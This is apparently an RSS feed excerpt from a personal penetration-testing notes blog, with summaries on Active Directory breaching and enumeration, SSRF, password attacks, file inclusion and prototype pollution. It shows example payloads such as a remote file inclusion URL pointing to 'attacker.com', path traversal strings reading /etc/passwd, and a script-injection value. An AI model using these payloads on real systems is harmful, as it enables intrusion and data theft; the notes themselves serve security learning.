&lt;li&gt;You will get revershell, and access the flag inside.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="automation-scripts"&gt;Automation scripts&lt;/h2&gt;
&lt;h3 id="php-gadge-chain-phpggc"&gt;PHP Gadge Chain (PHPGGC):&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;It automates discovery of insecure vulnerabilities.&lt;/p&gt;</description></item><item><title>Protocols and Servers</title><link>https://silent-resistor.github.io/resources/jr-pentester/protocols-and-servers/</link><pubDate>Sat, 20 Jan 2024 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/jr-pentester/protocols-and-servers/</guid><description>&lt;h2 id="telnet"&gt;Telnet&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Telnet ( an application layer protocol) is relatively simple.&lt;/li&gt;
&lt;li&gt;When user connects, asks for credentials. Upon authentication, the user will access remote system&amp;rsquo;s terminal. Unfortunately, all this communication between the client and telnet server is not encrypted, makingit an easy target for attackers.&lt;/li&gt;
&lt;li&gt;A telnet server uses Telnet protocol to listen for incoming connections on port 23.&lt;/li&gt;
&lt;li&gt;Its is no longer considered a secure option, expecially that anyone capturing your traffic will be able to discover your credentials which would grant them remote access to the system. The secure alternative is Ssh.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="file-transfer-protocol"&gt;File Transfer PRotocol&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;File Transfer Protocol (FTP) was developed to make the transfer of files between different computers with different systems efficient.&lt;/p&gt;</description></item><item><title>Windows Active Directory - Breaching</title><link>https://silent-resistor.github.io/resources/red-teaming/windows_ad_breaching/</link><pubDate>Mon, 27 Apr 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/red-teaming/windows_ad_breaching/</guid><description>&lt;h2 id="1-introduction"&gt;1. Introduction&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Before we can exploit AD misconfigurations for privilege escalation, lateral movement, and goal execution, you need initial access first. You need to acquire an initial set of valid AD credentials. Due to the number of AD services and features, the attack surface for gaining an initial set of AD credentials is usually significant. In this blog, we will discuss several avenues, but this is by no means an exhaustive list.&lt;/li&gt;
&lt;li&gt;When looking for that first set of credentials, we don&amp;rsquo;t focus on the permissions associated with the account; thus, even a low-privileged account would be sufficient. We are just looking for a way to authenticate to AD, allowing us to do further enumeration on AD itself.&lt;/li&gt;
&lt;li&gt;Two popular methods for gaining access to that first set of AD credentials is OSINT, and Phishing.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-ntlm-and-netntlm"&gt;2. NTLM and NetNTLM&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;New Technology LAN Manager (NTLM)&lt;/strong&gt; is the suit of security protocols used to authenticate user&amp;rsquo;s identities in AD.&lt;/li&gt;
&lt;li&gt;NTLM can be used for authentication using a challenge-response-based scheme called &lt;strong&gt;NetNTLM&lt;/strong&gt;. This mechanisms heavily used by services on a network. However, services that use NetNTLM can also be exposed to the internet, such as
&lt;ul&gt;
&lt;li&gt;Internally-hosted Exchange (Mail) servers that expose an outlook webapp (OWA) login portal&lt;/li&gt;
&lt;li&gt;Remote Desktop protocol (RDP) service of server being exposed to the internet&lt;/li&gt;
&lt;li&gt;Exposed VPN endpoints that were integrated with AD.&lt;/li&gt;
&lt;li&gt;Web applications that are internet facing and make use of NetNTLM&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;NetNTLM allows the application (service) to play the role of a middle man between its client and AD. All authentication material (challenge-response) is forwarded to a Domain Controller in the form of a challenge, and if completed successfully, the application will authenticate the user.&lt;/li&gt;
&lt;li&gt;This means that the application is authenticating on behalf of the user and not authenticating the user directly on the application itself. his prevents the application from storing AD credentials, which should only be stored on a Domain Controller.
&lt;img src="https://silent-resistor.github.io/resources_redteam/netntlm_breach.png" alt="NetNTLM Breach"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="4-ldap-bind-credentials"&gt;4. LDAP Bind Credentials&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Another method of AD authentication that applications can use is &lt;strong&gt;Lightweight Directory Access Protocol (LDAP)&lt;/strong&gt; authentication. It is similar to NTLM authentication, but with LDAP authentication, the application directly verifies the user&amp;rsquo;s credentials. The application has a pair of AD credentials that it can use first to query LDAP and then verify the AD user&amp;rsquo;s credentials.&lt;/li&gt;
&lt;li&gt;LDAP authentication is a popular mechanism with third-party (non-microsoft) applications that integrate AD. The include applications such as:
&lt;ul&gt;
&lt;li&gt;Gitlab&lt;/li&gt;
&lt;li&gt;Jenkins&lt;/li&gt;
&lt;li&gt;Custom-developed web apps&lt;/li&gt;
&lt;li&gt;Printers&lt;/li&gt;
&lt;li&gt;VPNs&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If any of these applications or services are exposed on internet, they can be targeted for credential theft attacks similar to those used against NTLM-authenticated systems.&lt;/li&gt;
&lt;li&gt;However, since a service using LDAP authentication requires a set of AD credentials, it opens up additional attack avenues. In essence, we can attempt to recover the AD credentials used by service to gain authenticated access to AD. The process of authentication through LDAP is shown below:
&lt;img src="https://silent-resistor.github.io/resources_redteam/ldap_auth.png" alt="LDAP Auth"&gt;&lt;/li&gt;
&lt;li&gt;If you could you gain a foot hold on the correct host, such as gitlab server, it might be as simple as reading the configuration files to recover these AD credentials.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="41-ldap-pass-back-attacks"&gt;4.1 LDAP Pass-back Attacks&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;This is a common attack against network devices, such as printers, when you have gained initial access to the internal network, such as plugging in a rogue device in a boardroom.&lt;/p&gt;</description></item><item><title>Server Side Request Forgery (SSRF)</title><link>https://silent-resistor.github.io/resources/web-app-pentesting/server_side_request_forgery/</link><pubDate>Fri, 13 Feb 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/web-app-pentesting/server_side_request_forgery/</guid><description>&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;SSRF is a web application security vulnerability that allows attacker to force the server to make unauthorized requests to any local or external source on behalf of web server. SSRF allows the attacker to interact with internal systems, potentially leading to data leaks, service disruption, or even RCE.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;SSRF arises when user-provided data is used to construct a request, such as forming url. To execute an SSRF attack, an attacker can manipulate a parameter value within the vulnerable software, effectively creating or controlling requests from that software and directing towards the other servers or even the same server.&lt;/p&gt;</description></item><item><title>Password Attacks</title><link>https://silent-resistor.github.io/resources/jr-pentester/password-attacks/</link><pubDate>Sat, 20 Jan 2024 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/jr-pentester/password-attacks/</guid><description>&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Password cracking&lt;/code&gt; is considered one of the traditional techniques in pen-testing. The primary goal is to let the attacker escalate to higher privileges and access to a computer system or network. It is a technique performed locally or on systems controlled by the attacker.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Password guessing&lt;/code&gt; is a technique used to target online protocols and services. Therefore, it&amp;rsquo;s considered time-consuming and opens up the opportunity to generate logs for the failed login attempts. A password guessing attack conducted on a web-based system often requires a new request to be sent for each attempt, which can be easily detected.&lt;/p&gt;</description></item><item><title>Windows Active Directory - Enumeration</title><link>https://silent-resistor.github.io/resources/red-teaming/windows_ad_enum/</link><pubDate>Fri, 01 May 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/red-teaming/windows_ad_enum/</guid><description>&lt;h2 id="1-introduction"&gt;1. Introduction&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Once we have that first set of AD credentials and the means to authenticate with them on the network, a whole new world of possibilities opens up! We can start enumerating various details about the AD setup and structure with authenticated access, even super low-privileged access.&lt;/li&gt;
&lt;li&gt;During a red team engagement, this will usually lead to us being able to perform some form of privilege escalation or lateral movement to gain additional access until we have sufficient privileges to execute and reach our goals. In most cases, enumeration and exploitation are heavily entwined. Once an attack path shown by the enumeration phase has been exploited, enumeration is again performed from this new privileged position, as shown in the diagram below.
&lt;img src="https://silent-resistor.github.io/resources_redteam/enumeration_cycle.png" alt="Enumeration Cycle"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-credential-injection"&gt;2. Credential Injection&lt;/h2&gt;
&lt;h3 id="21-runas-explained"&gt;2.1 Runas Explained&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;In security assessments, you will often have network access and have just discovered AD credentials but have no means or privileges to create a new domain-joined machine. So we need the ability to use those credentials on a Windows machine we control.&lt;/li&gt;
&lt;li&gt;If we have the AD credentials in the format of &lt;username&gt;:&lt;password&gt;, we can use Runas, a legitimate Windows binary, to inject the credentials into memory. The usual Runas command would look something like this:
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;runas.exe /netonly /user&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&amp;lt;domain&amp;gt;\&amp;lt;username&amp;gt; cmd.exe
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Let&amp;rsquo;s look at the parameters:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/netonly&lt;/code&gt; - Since we are not domain-joined, we want to load the credentials for network authentication but not authenticate against a domain controller. So commands executed locally on the computer will run in the context of your standard Windows account, but any network connections will occur using the account specified here.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/user&lt;/code&gt; - Here, we provide the details of the domain and the username. It is always a safe bet to use the Fully Qualified Domain Name (FQDN) instead of just the NetBIOS name of the domain since this will help with resolution.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cmd.exe&lt;/code&gt; - This is the program we want to execute once the credentials are injected. This can be changed to anything, but the safest bet is cmd.exe since you can then use that to launch whatever you want, with the credentials injected.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once you run this command, you will be prompted to supply a password. Note that since we added the &lt;code&gt;/netonly&lt;/code&gt; parameter, the credentials will not be verified directly by a domain controller so that it will accept any password. We still need to confirm that the network credentials are loaded successfully and correctly.&lt;/p&gt;</description></item><item><title>File Inclusion, Path Traversal</title><link>https://silent-resistor.github.io/resources/web-app-pentesting/file_inclusion_and_path_traversal/</link><pubDate>Wed, 18 Feb 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/web-app-pentesting/file_inclusion_and_path_traversal/</guid><description>&lt;ul&gt;
&lt;li&gt;File inclusion and Path Traversal are vulnerabilities that arise when an application allows external input to change the path for accessing files.&lt;/li&gt;
&lt;li&gt;In web applicaitions, the vulnerabilities primarily arise from improper handling of file paths and URLs. These vulnerabilities allow attackers to include files not intended to be a part of web application, leading to unauthorized access or RCE.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Server side scripting and file handling:&lt;/strong&gt; Server-side scripts run on the server and generate the content of the frontend, which is then sent to the client. Unlike client-side scripts like JavaScript in the browser, server-side scripts can access the server&amp;rsquo;s file system and databases. Web applications often need to read from or write to files on the server. For example, reading configuration files, saving user uploads, or including code from other files.&lt;/li&gt;
&lt;li&gt;For example, the application like &lt;code&gt;https://test.com/lfi.php?page=/var/www/html/menu.php&lt;/code&gt; includes a file name based on user input. If this input is not correctly validated and sanitized, an attacker might might exploit the vulnerable parameter to include malicious files or access sensitive files on server. In this case, the attacker could view the contents of the server&amp;rsquo;s passwd file, so his payload could be &lt;code&gt;https://test.com/lfi.php?page=../../../../etc/passwd&lt;/code&gt; or &lt;code&gt;https://test.com/lfi.php?page=/etc/passwd&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Attackers can inject malicious payloads to log files &lt;code&gt;/var/log/apache2/access.log&lt;/code&gt; and manipulate file paths to execute the logged payload, an attacker can achieve remote code execution. An attacker may also read configuration files that contain sensitive information, like database credentials, if the application returns the file in plaintext.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="files-inclusion-types"&gt;Files inclusion Types&lt;/h2&gt;
&lt;h3 id="remote-file-inclusion-rfi"&gt;Remote File Inclusion (RFI)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;RFI is a vulnerability that allows attackers to include remote files, often through input manipulation. This can lead to the execution of malicious scripts or code on the server.&lt;/li&gt;
&lt;li&gt;Typically, RFI occurs in applications that dynamically include external files or scripts. Attackers can manipulate parameters in a request to point to external malicious files.&lt;/li&gt;
&lt;li&gt;For example, if a web application uses a URL in a GET parameter like &lt;code&gt;include.php?page=http://attacker.com/exploit.php&lt;/code&gt;, an attacker can replace the URL with a path to a malicious script.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="local-file-inclusion-lfi"&gt;Local File Inclusion (LFI)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Local File Inclusion, or LFI, typically occurs when an attacker exploits vulnerable input fields to access or execute files on the server.&lt;/li&gt;
&lt;li&gt;Attackers usually exploit poorly sanitized input fields to manipulate file paths, aiming to access files outside the intended directory.&lt;/li&gt;
&lt;li&gt;For example, using a traversal string, an attacker might access sensitive files like &lt;code&gt;include.php?page=../../../../etc/passwd&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;While LFI primarily leads to unauthorized file access, it can escalate to RCE. This can occur if the attacker can upload or inject executable code into a file that is later included or executed by the server.&lt;/li&gt;
&lt;li&gt;Techniques such as log poisoning, which means injecting code into log files and then including those log files, are examples of how LFI can lead to RCE.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="wrappers"&gt;Wrappers&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;PHP Wrappers are part of PHP&amp;rsquo;s functionality that allows users to access to various data streams. Wrappers can also access or execute code through built-in PHP protocols, which may lead to significant security risks if not properly handled.&lt;/p&gt;</description></item><item><title>Prototype Pollution</title><link>https://silent-resistor.github.io/resources/web-app-pentesting/prototype_pollution/</link><pubDate>Wed, 18 Feb 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/web-app-pentesting/prototype_pollution/</guid><description>&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Prototype pollution allowd bad actors to manipulate and exploit the inner workings of Javascript applications and enables attackers to gain access to sensitive data and application backend.&lt;/li&gt;
&lt;li&gt;While this vulnerability is mostly discussed in context of Javascript, the concept can apply to any system that uses similar &lt;strong&gt;Prototype based inheritance model&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;However, Javascript&amp;rsquo;s widespread use, particularly in web development, and its flexible and dynamic object model make prototype pollution a more prominent and relevant concern in this language.&lt;/li&gt;
&lt;li&gt;In contrast, &lt;strong&gt;class-based inheritance&lt;/strong&gt; languages like Java, C++ have a different model of inheritance where classes (blueprints of objects) are typically static, and altering a class at a runtime to affect all its instances is not a common practice or straight forward task.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="basics"&gt;Basics&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Classes:&lt;/strong&gt; Classes are like blueprints that help create multiple objects with similar structures and behaviours.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prototype:&lt;/strong&gt; Every object linked to prototype object, and these prototypes from a chain reffered as the &lt;code&gt;prototype chain&lt;/code&gt;. The prototype serves as template or blueprint for objects. When you create an object using a constructor function or a class, javascript automatically setup a link between the object and its prototype.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Difference between class and prototype:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;With Classes, We will be having a clear, structured way to create objects that share the same properties and methods, making them easy to understand and use.&lt;/li&gt;
&lt;li&gt;With Prototypes, We can start with simple object and then add behaviours to it by linking it to prototype object that already has those behaviours. Objects created this way are linked though a prototype chain, allowing them to inherit behaviours from other objects. This method is more dynamic and flexibel but can be harder to manage and understand than the structured approach of classes.&lt;/li&gt;
&lt;li&gt;Prototype object creation: &lt;code&gt;object.create()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Common Example:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Lets understand how attacker can manipulate the behaviour of the &lt;code&gt;introduce&lt;/code&gt; method across all instances by altering prototypes.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// Base Prototype for Persons
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;personPrototype&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;introduce&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#e6db74"&gt;`Hi, I&amp;#39;m &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;.`&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// Person Constructor Function
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;person&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Object.&lt;span style="color:#a6e22e"&gt;create&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;personPrototype&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;person&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;person&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// Creating an instance
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ben&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;Ben&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// Attakcer&amp;#39;s payload
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;ben&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;__proto__&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;introduce&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fuction&lt;/span&gt;(){&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;You have been hacked, I&amp;#39;m bob&amp;#34;&lt;/span&gt;);}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;ben&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;introduce&lt;/span&gt;());
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// this not only changes ben&amp;#39;s introduce, but also its prototype, and whichever object has this prototype chain link.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// lets say, if its create josh, whats it introduce name will be?
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;josh&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;Josh&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;josh&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;introduce&lt;/span&gt;()); &lt;span style="color:#75715e"&gt;// hope you have got it??
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="exploitation---standard-approach"&gt;Exploitation - Standard approach&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;As we know, &lt;code&gt;constructor&lt;/code&gt; and &lt;code&gt;__proto__&lt;/code&gt; properties present on object stand out as a notable targets for exploitation by threat actors.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;constructor&lt;/code&gt; property points to function, that constructs an object&amp;rsquo;s prototype.&lt;/li&gt;
&lt;li&gt;While &lt;code&gt;__proto__&lt;/code&gt;, is a reference to the prototype object that the current object directly inherits from.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Golden Rule:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;The concept hinges on an attacker&amp;rsquo;s ability to influence certain key parameters, such as &lt;code&gt;x&lt;/code&gt; and &lt;code&gt;val&lt;/code&gt; in expresions similar to &lt;code&gt;Person[x][y] = val&lt;/code&gt;. Suppose an attacker assigns &lt;code&gt;__proto__&lt;/code&gt; to &lt;code&gt;x&lt;/code&gt;. In that case, the attribute indentified by &lt;code&gt;y&lt;/code&gt; is universally set across all objects shareing the class as the object with the value denoted by &lt;code&gt;val&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;In a more intricate scenario, when an attacker has control over &lt;code&gt;x&lt;/code&gt;, &lt;code&gt;y&lt;/code&gt;, and &lt;code&gt;val&lt;/code&gt; in a structure like &lt;code&gt;Person[x][y][z] = val&lt;/code&gt;, assigning &lt;code&gt;x&lt;/code&gt; as a &lt;code&gt;constuctor&lt;/code&gt; and &lt;code&gt;y&lt;/code&gt; as &lt;code&gt;prototype&lt;/code&gt; leads to a new property defined by &lt;code&gt;z&lt;/code&gt; being established across all objects in the application with the assigned &lt;code&gt;val&lt;/code&gt;. This latter approach necessitates a more complex arrangement of object properties, making it less prevalent in practice.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="few-importan-fuctions"&gt;Few importan Fuctions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;When identifying the prototype pollution vulnerabilities, penetration testers should focus on commonly used vectors/fuctions susceptible to prototype pollution. A thorough examination of how an application handles object manipulation is crucial. We will understand few important fuctions that an attacker exploit, and then we will practically perform exploitation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Property Definition by Path:&lt;/strong&gt; FUctions that set object properties based on a given path (like &lt;code&gt;object[a][b][c] = value&lt;/code&gt;) can be dengerous if the path components are controlled by user input. These functions should be inspected to ensure they dont inadvertently modify the object&amp;rsquo;s prototype.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Example:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Intial object structure
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;friends&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [ { &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;testuser&amp;#34;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;age&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;25&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;country&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;UK&amp;#34;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;reviews&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; [], &lt;span style="color:#a6e22e"&gt;albums&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; [{ }], &lt;span style="color:#a6e22e"&gt;password&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;xxx&amp;#34;&lt;/span&gt;, } ]; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;_&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;set&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;friend&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;path&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Input received from user: User wants to add a review for their fried. They provide a payload containing the path where the review should be added &lt;code&gt;(review.content)&lt;/code&gt; and the review content &lt;code&gt;(&amp;lt;script&amp;gt;alert(anycontent)&amp;lt;/script&amp;gt;)&lt;/code&gt;. An attacker now updates path to target the prototype
